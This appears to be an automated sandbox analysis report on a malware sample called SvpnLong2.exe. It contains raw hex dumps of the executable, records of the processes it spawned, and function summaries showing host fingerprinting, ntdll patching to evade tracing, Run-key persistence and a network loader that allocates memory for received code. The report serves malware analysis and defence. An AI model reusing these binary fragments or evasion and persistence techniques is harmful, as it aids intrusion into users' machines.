2024-07-27 14:49:45 UTC	3533	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c7 68 2d 29 83 09 43 7a 83 09 43 7a 83 09 43 7a 9d 5b c7 7a a6 09 43 7a 9d 5b c0 7a c4 09 43 7a 9d 5b d6 7a 89 09 43 7a a4 cf 38 7a 80 09 43 7a 83 09 42 7a cd 09 43 7a 9d 5b c9 7a 80 09 43 7a 9d 5b d1 7a 82 09 43 7a 9d 5b d2 7a 82 09 43 7a 52 69 63 68 83 09 43 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 23 83 9c 66 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h-)CzCzCz[zCz[zCz[zCz8zCzBzCz[zCz[zCz[zCzRichCzPEd#f"
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: ff ff 8b 0d fb c7 00 00 48 8b d0 ff 15 42 86 00 00 48 8b cb 85 c0 74 16 33 d2 e8 20 0f 00 00 ff 15 26 86 00 00 48 83 4b 08 ff 89 03 eb 16 e8 a8 04 00 00 e9 f4 fe ff ff 83 fa 03 75 07 33 c9 e8 8f 11 00 00 b8 01 00 00 00 48 83 c4 20 5b c3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 41 54 48 83 ec 30 49 8b f0 8b da 4c 8b e1 b8 01 00 00 00 85 d2 75 0f 39 15 f8 d6 00 00 75 07 33 c0 e9 cd 00 00 00 83 fa 01 74 05 83 fa 02 75 30 4c 8b 0d 66 88 00 00 4d 85 c9 74 07 41 ff d1 89 44 24 20 85 c0 74 11 4c 8b c6 8b d3 49 8b cc e8 61 fe ff ff 89 44 24 20 85 c0 0f 84 93 00 00 00 4c 8b c6 8b d3 49 8b cc e8 f8 f8 ff ff 8b f8 89 44 24 20 83 fb 01 75 35 85 c0 75 31 4c 8b c6 33 d2 49 8b cc e8 dc f8 ff ff 4c 8b c6 33 d2 49 8b cc e8 1f fe ff ff 4c 8b 1d 00 88 00 00 4d 85 db 74 Data Ascii: HBHt3 &HKu3H [H\$Ht$H\|$ATH0ILu9u3tu0LfMtAD$ tLIaD$ LID$ u5u1L3IL3ILMt
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: 76 00 00 8b 0d fa b7 00 00 8b f8 ff 15 ca 76 00 00 48 8b d8 48 85 c0 75 48 8d 48 01 ba c8 02 00 00 e8 dd 02 00 00 48 8b d8 48 85 c0 74 33 8b 0d cf b7 00 00 48 8b d0 ff 15 16 76 00 00 48 8b cb 85 c0 74 16 33 d2 e8 f4 fe ff ff ff 15 fa 75 00 00 48 83 4b 08 ff 89 03 eb 07 e8 7c f4 ff ff 33 db 8b cf ff 15 82 76 00 00 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 40 53 48 83 ec 20 e8 71 ff ff ff 48 8b d8 48 85 c0 75 08 8d 48 10 e8 7d 03 00 00 48 8b c3 48 83 c4 20 5b c3 48 85 c9 0f 84 2b 01 00 00 48 89 5c 24 10 57 48 83 ec 20 48 8b d9 48 8b 49 38 48 85 c9 74 05 e8 1c f4 ff ff 48 8b 4b 48 48 85 c9 74 05 e8 0e f4 ff ff 48 8b 4b 58 48 85 c9 74 05 e8 00 f4 ff ff 48 8b 4b 68 48 85 c9 74 05 e8 f2 f3 ff ff 48 8b 4b 70 48 85 c9 74 05 e8 e4 f3 ff ff 48 8b 4b 78 48 85 c9 74 Data Ascii: vvHHuHHHHt3HvHt3uHK\|3vHH\$0H _@SH qHHuH}HH [H+H\$WH HHI8HtHKHHtHKXHtHKhHtHKpHtHKxHt
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: 41 48 8b cd e8 8e f2 ff ff 48 8b f0 49 3b c4 74 31 4c 89 64 24 38 4c 89 64 24 30 44 8d 4f 01 4c 8b c3 33 d2 33 c9 89 6c 24 28 48 89 44 24 20 ff 15 26 67 00 00 41 3b c4 75 0b 48 8b ce e8 99 e4 ff ff 49 8b f4 48 8b cb ff 15 05 67 00 00 48 8b c6 eb 73 3b ce 74 09 41 3b cc 0f 85 4c ff ff ff ff 15 e5 66 00 00 48 8b d8 49 3b c4 0f 84 3a ff ff ff 44 38 20 74 10 48 ff c0 44 38 20 75 f8 48 ff c0 44 38 20 75 f0 2b c3 ff c0 48 63 f0 48 8b ce e8 01 f2 ff ff 48 8b f8 49 3b c4 75 0e 48 8b cb ff 15 9c 66 00 00 e9 00 ff ff ff 4c 8b c6 48 8b d3 48 8b c8 e8 79 e5 ff ff 48 8b cb ff 15 80 66 00 00 48 8b c7 48 8b 5c 24 50 48 8b 6c 24 58 48 8b 74 24 60 48 8b 7c 24 68 48 83 c4 40 41 5c c3 cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8d 1d 97 86 00 00 48 8d 3d 90 86 00 00 eb 0e 48 8b Data Ascii: AHHI;t1Ld$8Ld$0DOL33l$(HD$ &gA;uHIHgHs;tA;LfHI;:D8 tHD8 uHD8 u+HcHHI;uHfLHHyHfHH\$PHl$XHt$`H\|$hH@A\H\$WH HH=H
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: c3 72 f5 8a 44 24 56 c6 44 24 70 20 48 8d 7c 24 56 eb 29 0f b6 57 01 44 0f b6 c0 44 3b c2 77 16 41 2b d0 49 8b c0 4a 8d 4c 04 70 44 8d 42 01 b2 20 e8 fd d4 ff ff 48 83 c7 02 8a 07 84 c0 75 d3 8b 46 0c 83 64 24 38 00 4c 8d 44 24 70 89 44 24 30 8b 46 04 44 8b cb 89 44 24 28 48 8d 84 24 70 03 00 00 ba 01 00 00 00 33 c9 48 89 44 24 20 e8 63 18 00 00 83 64 24 40 00 8b 46 04 8b 56 0c 89 44 24 38 48 8d 84 24 70 01 00 00 89 5c 24 30 48 89 44 24 28 4c 8d 4c 24 70 44 8b c3 33 c9 89 5c 24 20 e8 c4 1e 00 00 83 64 24 40 00 8b 46 04 8b 56 0c 89 44 24 38 48 8d 84 24 70 02 00 00 89 5c 24 30 48 89 44 24 28 4c 8d 4c 24 70 41 b8 00 02 00 00 33 c9 89 5c 24 20 e8 8e 1e 00 00 4c 8d 9c 24 70 03 00 00 48 8d 4e 1d 33 d2 41 f6 03 01 74 0c 80 09 10 8a 84 14 70 01 00 00 eb 10 41 f6 Data Ascii: rD$VD$p H\|$V)WDD;wA+IJLpDB HuFd$8LD$pD$0FDD$(H$p3HD$ cd$@FVD$8H$p\$0HD$(LL$pD3\$ d$@FVD$8H$p\$0HD$(LL$pA3\$ L$pHN3AtpA
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: 06 0f ba ed 15 eb 3e 48 8b 0d ed a4 00 00 48 3b cf 74 32 e8 f3 ce ff ff 48 85 c0 74 28 ff d0 48 8b d8 48 85 c0 74 1e 48 8b 0d d5 a4 00 00 48 3b cf 74 12 e8 d3 ce ff ff 48 85 c0 74 08 48 8b cb ff d0 48 8b d8 48 8b 0d a7 a4 00 00 e8 ba ce ff ff 48 85 c0 74 10 44 8b cd 4d 8b c5 49 8b d6 48 8b cb ff d0 eb 02 33 c0 48 8b 5c 24 70 48 8b 6c 24 78 48 83 c4 40 41 5e 41 5d 41 5c 5f 5e c3 40 53 48 83 ec 30 4c 8b c9 48 85 c9 74 0d 48 85 d2 74 08 4d 85 c0 75 2c 44 88 01 e8 c8 ca ff ff bb 16 00 00 00 48 83 64 24 20 00 45 33 c9 45 33 c0 33 d2 33 c9 89 18 e8 dc c9 ff ff 8b c3 48 83 c4 30 5b c3 80 39 00 74 09 48 ff c1 48 83 ea 01 75 f2 48 85 d2 75 05 41 88 11 eb bf 41 8a 00 49 ff c0 88 01 48 ff c1 84 c0 74 06 48 83 ea 01 75 eb 48 85 d2 75 0f 41 88 11 e8 6a ca ff ff bb 22 Data Ascii: >HH;t2Ht(HHtHH;tHtHHHHtDMIH3H\$pHl$xH@A^A]A\_^@SH0LHtHtMu,DHd$ E3E333H0[9tHHuHuAAIHtHuHuAj"
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: c3 cc cc b9 02 00 00 00 e9 02 c4 ff ff cc cc 48 81 ec a8 05 00 00 f6 05 46 85 00 00 01 74 0a b9 0a 00 00 00 e8 ea d5 ff ff e8 fd ea ff ff 48 85 c0 74 0a b9 16 00 00 00 e8 fa ea ff ff f6 05 1f 85 00 00 02 74 5f 48 8d 8c 24 d0 00 00 00 ff 15 47 36 00 00 48 8d 4c 24 30 33 d2 41 b8 98 00 00 00 e8 cd b4 ff ff 48 8b 84 24 a8 05 00 00 33 c9 48 89 44 24 40 48 8d 44 24 30 c7 44 24 30 15 00 00 40 48 89 44 24 20 48 8d 84 24 d0 00 00 00 48 89 44 24 28 ff 15 e1 35 00 00 48 8d 4c 24 20 ff 15 ce 35 00 00 b9 03 00 00 00 e8 a8 c6 ff ff cc cc cc cc 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 54 41 55 41 56 48 83 ec 50 4c 8b f2 48 8b d1 48 8d 48 c8 45 8b e1 4d 8b e8 e8 6a e1 ff ff 4d 85 ed 74 04 4d 89 75 00 4d 85 f6 75 2a e8 6f ba ff ff 48 83 64 24 20 00 45 Data Ascii: HFtHtt_H$G6HL$03AH$3HD$@HD$0D$0@HD$ H$HD$(5HL$ 5HHXHhHpHx ATAUAVHPLHHHEMjMtMuMu*oHd$ E
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: e8 9a f8 ff ff 48 8b f0 48 63 47 04 48 03 f0 eb 03 48 8b f3 e8 9e f8 ff ff 4c 8b d8 48 63 45 04 4c 03 d8 49 3b f3 74 3b 39 5f 04 74 11 e8 6d f8 ff ff 48 8b f0 48 63 47 04 48 03 f0 eb 03 48 8b f3 e8 71 f8 ff ff 48 8d 4e 10 4c 8b d8 48 63 45 04 49 8d 54 03 10 e8 b8 ab ff ff 3b c3 74 04 33 c0 eb 3c b0 02 84 45 00 74 05 f6 07 08 74 27 41 f6 04 24 01 74 05 f6 07 01 74 1b 41 f6 04 24 04 74 05 f6 07 04 74 0f 41 84 04 24 74 04 84 07 74 05 bb 01 00 00 00 8b c3 eb 05 b8 01 00 00 00 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 8b 7c 24 48 48 83 c4 20 41 5c c3 cc 48 83 ec 28 48 8b 01 81 38 4d 4f 43 e0 74 1a 81 38 63 73 6d e0 75 2b e8 a0 af ff ff 83 a0 00 01 00 00 00 e8 c4 d9 ff ff cc e8 8e af ff ff 83 b8 00 01 00 00 00 7e 0b e8 80 af ff ff ff 88 00 01 00 00 33 c0 Data Ascii: HHcGHHLHcELI;t;9_tmHHcGHHqHNLHcEIT;t3<Ett'A$ttA$ttA$ttH\$0Hl$8Ht$@H\|$HH A\H(H8MOCt8csmu+~3
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: ff 45 33 ff eb 10 44 8a b4 24 e0 00 00 00 4c 8b a4 24 e8 00 00 00 8b 44 24 68 8b 4c 24 64 ff c1 48 83 c5 14 89 4c 24 64 3b c8 0f 82 c7 fe ff ff 45 3a f7 0f 85 a0 00 00 00 8b 03 25 ff ff ff 1f 3d 21 05 93 19 0f 82 8e 00 00 00 8b 73 20 41 3b f7 74 0d 48 63 f6 e8 44 e8 ff ff 48 03 c6 eb 03 49 8b c7 49 3b c7 74 71 41 3b f7 74 11 e8 2d e8 ff ff 48 8b d0 48 63 43 20 48 03 d0 eb 03 49 8b d7 48 8b cf e8 7a f2 ff ff 41 3a c7 75 4b 4c 8d 8c 24 e0 00 00 00 4c 8b c3 49 8b d5 49 8b cc e8 0f e7 ff ff 8a 8c 24 08 01 00 00 4c 8b 84 24 f0 00 00 00 88 4c 24 40 4c 89 6c 24 38 48 89 5c 24 30 83 4c 24 28 ff 4c 8b c8 48 8b d7 49 8b cc 4c 89 7c 24 20 e8 5a ec ff ff e8 99 9f ff ff 4c 39 b8 08 01 00 00 74 05 e8 df c9 ff ff 48 8b 9c 24 f8 00 00 00 48 81 c4 a0 00 00 00 41 5f 41 5e Data Ascii: E3D$L$D$hL$dHL$d;E:%=!s A;tHcDHII;tqA;t-HHcC HIHzA:uKL$LII$L$L$@Ll$8H\$0L$(LHIL\|$ ZL9tH$HA_A^
2024-07-27 14:49:45 UTC	4096	IN	Data Raw: 6c 6c 4d 61 69 6e 2e 0d 0a 00 00 52 36 30 33 32 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 6c 6f 63 61 6c 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0d 0a 00 00 00 00 00 00 52 36 30 33 31 0d 0a 2d 20 41 74 74 65 6d 70 74 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 74 68 65 20 43 52 54 20 6d 6f 72 65 20 74 68 61 6e 20 6f 6e 63 65 2e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 00 00 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 68 65 61 70 0d 0a 00 00 00 00 52 36 30 32 37 0d 0a 2d 20 6e 6f 74 Data Ascii: llMain.R6032- not enough space for locale informationR6031- Attempt to initialize the CRT more than once.This indicates a bug in your application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not

Target ID:	0
Start time:	10:49:01
Start date:	27/07/2024
Path:	C:\Users\user\Desktop\SvpnLong2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SvpnLong2.exe"
Imagebase:	0x7ff741100000
File size:	30'057'472 bytes
MD5 hash:	553F06CF08E33D5F59E69A45458D72E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	10:50:00
Start date:	27/07/2024
Path:	C:\ProgramData\tusyk\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\tusyk\arphaCrashReport64.exe"
Imagebase:	0x7ff700f20000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	10:50:08
Start date:	27/07/2024
Path:	C:\ProgramData\tusyk\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\tusyk\arphaCrashReport64.exe"
Imagebase:	0x7ff700f20000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	98.5%
Signature Coverage:	31.9%
Total number of Nodes:	747
Total number of Limit Nodes:	37

Executed Functions

Function 01843560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01843430: GetCurrentHwProfileA.ADVAPI32 ref: 0184346F
Part of subcall function 01843430: GetComputerNameA.KERNEL32 ref: 018434C5

lstrcat.KERNEL32 ref: 018435C6

Part of subcall function 018521D0: GetComputerNameA.KERNEL32 ref: 0185222B
Part of subcall function 018521D0: lstrcpy.KERNEL32 ref: 01852241
Part of subcall function 018521D0: wsprintfA.USER32 ref: 01852270

GetComputerNameA.KERNEL32 ref: 018435FF
GetCurrentProcessId.KERNEL32 ref: 01843612
LoadLibraryA.KERNEL32 ref: 0184367A
GetProcAddress.KERNEL32 ref: 0184368A
GetUserNameA.ADVAPI32 ref: 01843699
CreateToolhelp32Snapshot.KERNEL32 ref: 01843703
lstrlen.KERNEL32 ref: 01843763
_localtime64.LIBCMT ref: 0184377C
wsprintfA.USER32 ref: 018437B2
GetModuleFileNameA.KERNEL32 ref: 0184383C

Strings

2, xrefs: 01843621
serN, xrefs: 01843633
run, xrefs: 01843857
Group, xrefs: 018437DD, 018437FC
driver, xrefs: 01843842
ameA, xrefs: 0184363D
Adva, xrefs: 0184364E
pi32, xrefs: 01843658
2, xrefs: 018435CC
.dll, xrefs: 01843662
Remark, xrefs: 018435D4
%d-%d-%d %d:%d, xrefs: 018437A8
GetU, xrefs: 01843629
Time, xrefs: 01843751, 018437BB

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Name$Computer$Currentwsprintf$AddressCreateFileLibraryLoadModuleProcProcessProfileSnapshotToolhelp32User_localtime64lstrcatlstrcpylstrlen
String ID: %d-%d-%d %d:%d$.dll$2$2$Adva$GetU$Group$Remark$Time$ameA$driver$pi32$run$serN
API String ID: 2203227563-3218832578
Opcode ID: dd4788d92e4b85039d2d4e661ecd230d3a076aac07682fdd6e67fa87d02aab0f
Instruction ID: 5fc578742dd1b97282226baf4b0e4e53ebd09a75cfefaf2f27a049ab76a863ff
Opcode Fuzzy Hash: dd4788d92e4b85039d2d4e661ecd230d3a076aac07682fdd6e67fa87d02aab0f
Instruction Fuzzy Hash: E791A1322046C19AE720DF39E8543DD7B61F7957A4F808226DE998BAE8DF78C745CB01

Function 018414C0 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 174
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 01841546
GetProcAddress.KERNEL32 ref: 01841559
GetProcAddress.KERNEL32 ref: 0184156C
GetProcAddress.KERNEL32 ref: 01841581
GetProcAddress.KERNEL32 ref: 01841591
GetProcAddress.KERNEL32 ref: 018415A1
RegOpenKeyExA.KERNELBASE ref: 018415CC
lstrcpy.KERNEL32 ref: 01841771
RegCloseKey.KERNELBASE ref: 01841783
FreeLibrary.KERNEL32 ref: 01841796

Strings

RegEnumKeyExA, xrefs: 01841587
ADVAPI32.dll, xrefs: 0184153F
RegQueryValueExA, xrefs: 0184154F
Remark, xrefs: 018414C0
%08X, xrefs: 0184171E
RegEnumValueA, xrefs: 01841577
RegCloseKey, xrefs: 01841597
RegOpenKeyExA, xrefs: 01841562

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$Library$CloseFreeLoadOpenlstrcpy
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA$Remark
API String ID: 2622296002-4222392007
Opcode ID: fb67d896754aa6bfdd05627671d9ee463569122247e36b00d7e6553bc7c9ffdc
Instruction ID: 89230b649107bfe43e3bc55656c29be413542e92491c7f916db764d1fa20f039
Opcode Fuzzy Hash: fb67d896754aa6bfdd05627671d9ee463569122247e36b00d7e6553bc7c9ffdc
Instruction Fuzzy Hash: DF715F36325B8582DB60CB15F84479AB765FB89BD4F805116EA8E83B68DF3CC685CB00

Function 01844530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0184455D
GetProcAddress.KERNEL32 ref: 0184456D
LoadLibraryA.KERNEL32 ref: 0184459E
GetProcAddress.KERNEL32 ref: 018445AE
VirtualProtect.KERNELBASE ref: 018445CF
VirtualProtect.KERNELBASE ref: 018445E7
lstrcpy.KERNEL32 ref: 01844603
CloseHandle.KERNEL32 ref: 01844640
FindCloseChangeNotification.KERNELBASE ref: 01844665
CreateThread.KERNELBASE ref: 018446F7
WaitForSingleObject.KERNEL32 ref: 01844706
CloseHandle.KERNEL32 ref: 0184470F

Strings

ntdll.dll, xrefs: 0184454E, 01844587
run, xrefs: 0184466B
NtTerminateThread, xrefs: 01844563
NtTraceEvent, xrefs: 018445A4
Mov, xrefs: 01844715
driver, xrefs: 0184467B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle$AddressProcProtectVirtual$ChangeCreateFindLibraryLoadModuleNotificationObjectSingleThreadWaitlstrcpy
String ID: Mov$NtTerminateThread$NtTraceEvent$driver$ntdll.dll$run
API String ID: 1569784174-2918648053
Opcode ID: 69723503bac17d0fb9b52ee3f77fcb0f8becb14392812bf995bbb01e67256cb5
Instruction ID: a97592543509d3c86755992afae6d788aceda7a86477d895b686382bc9dc0798
Opcode Fuzzy Hash: 69723503bac17d0fb9b52ee3f77fcb0f8becb14392812bf995bbb01e67256cb5
Instruction Fuzzy Hash: 5F51D431618B8692EB10DF65F8643EA7761F799B94F848119DE8E87B64DF3CC208C741

Function 01850180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memchr.LIBCMT ref: 01850354
memchr.LIBCMT ref: 0185037D
rand.LIBCMT ref: 018504E2
CreateDirectoryA.KERNELBASE ref: 0185054E
rand.LIBCMT ref: 018507D1

Strings

C:\ProgramData\, xrefs: 01850253
run, xrefs: 01850986
https://, xrefs: 01850281
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 01850932

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: memchrrand$CreateDirectory
String ID: C:\ProgramData\$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$https://$run
API String ID: 578666947-266329106
Opcode ID: f14519999c5301255716635cd24b634633af6f7cb0db05e4bda057fe190b3682
Instruction ID: 38468a2c137622d7de24866bd5631eb6f94615c1a0838a17d3b085b4c9455909
Opcode Fuzzy Hash: f14519999c5301255716635cd24b634633af6f7cb0db05e4bda057fe190b3682
Instruction Fuzzy Hash: F2428C32200BC58AEBA09F39D8403D93762F7557ACF540626EE6E8BAD9DF74C684C341

Function 018574B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.LIBCMT ref: 018574E3

Part of subcall function 01859B98: _amsg_exit.LIBCMT ref: 01859BC2

_get_daylight.LIBCMT ref: 018574F9

Part of subcall function 01858254: _errno.LIBCMT ref: 0185825D
Part of subcall function 01858254: _invalid_parameter_noinfo.LIBCMT ref: 01858268

_get_daylight.LIBCMT ref: 0185750E

Part of subcall function 018581F4: _errno.LIBCMT ref: 018581FD
Part of subcall function 018581F4: _invalid_parameter_noinfo.LIBCMT ref: 01858208

_get_daylight.LIBCMT ref: 01857523

Part of subcall function 01858224: _errno.LIBCMT ref: 0185822D
Part of subcall function 01858224: _invalid_parameter_noinfo.LIBCMT ref: 01858238

___lc_codepage_func.LIBCMT ref: 01857530

Part of subcall function 0185C9F0: _getptd.LIBCMT ref: 0185C9F4

Part of subcall function 01858B10: __wtomb_environ.LIBCMT ref: 01858B40

free.LIBCMT ref: 018575A1

Part of subcall function 01853D28: HeapFree.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D3E
Part of subcall function 01853D28: _errno.LIBCMT ref: 01853D48
Part of subcall function 01853D28: GetLastError.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D50

free.LIBCMT ref: 0185760A
GetTimeZoneInformation.KERNELBASE(?,?,?,?,00000000,?,00000032,00000000,00000000,01857EDE,?,?,?,?,0185397E), ref: 0185761D
WideCharToMultiByte.KERNEL32(?,?,?,?,00000000,?,00000032,00000000,00000000,01857EDE,?,?,?,?,0185397E), ref: 018576D3
WideCharToMultiByte.KERNEL32(?,?,?,?,00000000,?,00000032,00000000,00000000,01857EDE,?,?,?,?,0185397E), ref: 01857726

Strings

Eastern Standard Time, xrefs: 018576C8
Eastern Summer Time, xrefs: 0185771B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 2532449802-239921721
Opcode ID: 79e8b2610e90b318d09ab63c41662d0f82629d3c6b2cf475620acb6020b5bd0b
Instruction ID: 94f145c480b8e0d572d7cf1df705797967afef3cb89b6ba8b978598670413637
Opcode Fuzzy Hash: 79e8b2610e90b318d09ab63c41662d0f82629d3c6b2cf475620acb6020b5bd0b
Instruction Fuzzy Hash: 0DB102322047C18AEBB1DF2DE59076A7BA6F795784FC4C1259F8A97B24DB38C611CB01

Function 00B78C09 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 251
networkmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 00B78C9E
connect.WS2_32 ref: 00B78D05
send.WS2_32 ref: 00B78D1B
recv.WS2_32 ref: 00B78D45
NtAllocateVirtualMemory.NTDLL ref: 00B78D7E
NtAllocateVirtualMemory.NTDLL ref: 00B78DC7
recv.WS2_32 ref: 00B78DE0
closesocket.WS2_32 ref: 00B78E20

Strings

@, xrefs: 00B78D9A

Memory Dump Source

Source File: 00000000.00000002.2926403581.0000000000B78000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B78000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b78000_SvpnLong2.jbxd

Similarity

API ID: AllocateMemoryVirtualrecv$closesocketconnectsendsocket
String ID: @
API String ID: 2164595095-2766056989
Opcode ID: d02d8cd15c434e5a1b9653517dbeac564e095853a7279387c040ba68fece17d7
Instruction ID: 8e3783a432ed28461f500e15b87a2069cfdfddcf168a76ae7996b899ec6bdb98
Opcode Fuzzy Hash: d02d8cd15c434e5a1b9653517dbeac564e095853a7279387c040ba68fece17d7
Instruction Fuzzy Hash: FA71E530208B484FCB69EF28C8996B9B7E1FB99305F1086AED59FC7152DF31D5468B81

Function 01841E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 01841ED5
GetCurrentThreadId.KERNEL32 ref: 01841EE5
VirtualAlloc.KERNEL32 ref: 01841F6D
VirtualFree.KERNEL32 ref: 01841FA7
VirtualAlloc.KERNEL32 ref: 0184200F
VirtualFree.KERNEL32 ref: 01842049
VirtualAlloc.KERNEL32 ref: 018420BC
VirtualFree.KERNEL32 ref: 018420F6
GetCurrentThreadId.KERNEL32 ref: 01842173

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity
